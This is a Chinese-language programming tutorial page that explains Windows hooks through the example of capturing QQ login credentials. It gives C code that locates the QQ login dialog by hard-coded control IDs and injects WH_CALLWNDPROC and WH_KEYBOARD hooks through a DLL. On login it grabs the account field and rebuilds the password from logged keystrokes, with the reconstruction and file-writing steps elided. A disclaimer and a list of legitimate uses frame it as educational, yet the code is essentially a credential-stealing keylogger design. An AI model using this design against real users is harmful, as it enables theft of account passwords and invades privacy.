首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> VC >> VC 教學

理解 Windows 鉤子機制:以鍵盤訊息攔截為例(僅供教學研究)

     編輯:VC 教學

聲明

本文僅從技術原理角度分析 Windows 鉤子(Hook)如何攔截鍵盤訊息,**嚴禁用於竊取帳號密碼或任何惡意用途**。實際專案中請遵循法律法規與道德規範,僅在取得使用者明確授權的前提下進行輸入監聽(如無障礙輔助、自動化測試)。

核心原理

  1. 尋找目標視窗:使用 FindWindowEx 定位 QQ 登入對話框(類別名 #32770)及其子控制項(帳號輸入框、密碼輸入框、登入按鈕)。
  2. 安裝鉤子:呼叫 SetWindowsHookEx 在目標執行緒安裝 WH_CALLWNDPROC(監視視窗訊息)與 WH_KEYBOARD(監視鍵盤訊息)鉤子,鉤子函數必須放在 DLL 中以便映射到目標處理序。
  3. 鉤子回呼處理:
    • CallWndProc:捕捉 WM_COMMAND 且 wParam == 登入按鈕 ID,表示使用者點擊登入。
    • KeyboardProc:記錄每個鍵盤訊息的 wParam(虛擬鍵碼),遇到 VK_RETURN 視為按下 Enter 登入。
  4. 取得密碼:登入觸發時,先用 GetWindowText 讀取帳號框內容;密碼框通常為密碼掩碼無法直接讀取,故改從鍵盤鉤子記錄的按鍵序列重組(需扣除帳號部分)。

關鍵程式碼結構(簡化版)

// DLL 端
HHOOK g_hProc, g_hKey;
HWND g_hNum, g_hPsw;

BOOL WINAPI SetQQHook(HWND hLogin)
{
    if (hLogin) {
        DWORD tid = GetWindowThreadProcessId(hLogin, NULL);
        g_hNum = GetDlgItem(hLogin, 138); // 帳號控制項 ID(視版本而異)
        g_hPsw = GetDlgItem(hLogin, 180); // 密碼控制項 ID
        g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInst, tid);
        g_hKey  = SetWindowsHookEx(WH_KEYBOARD,    KeyboardProc, g_hInst, tid);
        return g_hProc && g_hKey;
    }
    // 卸載
    UnhookWindowsHookEx(g_hProc); UnhookWindowsHookEx(g_hKey);
    return TRUE;
}

LRESULT CALLBACK CallWndProc(int nCode, WPARAM w, LPARAM l)
{
    if (nCode >= 0) {
        CWPSTRUCT* p = (CWPSTRUCT*)l;
        if (p->message == WM_COMMAND && p->wParam == 16032) // 登入按鈕
            GetPassword();
    }
    return CallNextHookEx(g_hProc, nCode, w, l);
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM w, LPARAM l)
{
    if (nCode >= 0 && w == VK_RETURN) GetPassword();
    return CallNextHookEx(g_hKey, nCode, w, l);
}

void GetPassword()
{
    TCHAR num[13], psw[21], total[50];
    GetWindowText(g_hNum, num, 13); // 取得帳號
    // 從鍵盤記錄重組密碼(略)
    // 寫入檔案...
}

技術限制與風險

  • 控制項 ID 不固定:不同 QQ 版本的子視窗 ID(138、180)會變更,導致失效。
  • 密碼框保護:現代登入介面多使用安全輸入法、虛擬鍵盤或 UIPI(User Interface Privilege Isolation)阻擋低權限鉤子。
  • 法律風險:未經授權攔截使用者輸入屬違法行為,可能觸犯《刑法》竊盜罪、資安法等。

正當應用場景

  • 無障礙輔助工具(螢幕閱讀器、語音輸入)。
  • 自動化測試框架(模擬使用者輸入、驗證 UI 行為)。
  • 企業內部合規稽核(經員工書面同意的操作記錄)。

結語

Windows 鉤子是強大的系統級機制,理解其運作原理有助於開發合法的輔助與測試工具。請務必在法律與道德框架內使用,切勿用於侵犯隱私或竊取憑證。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved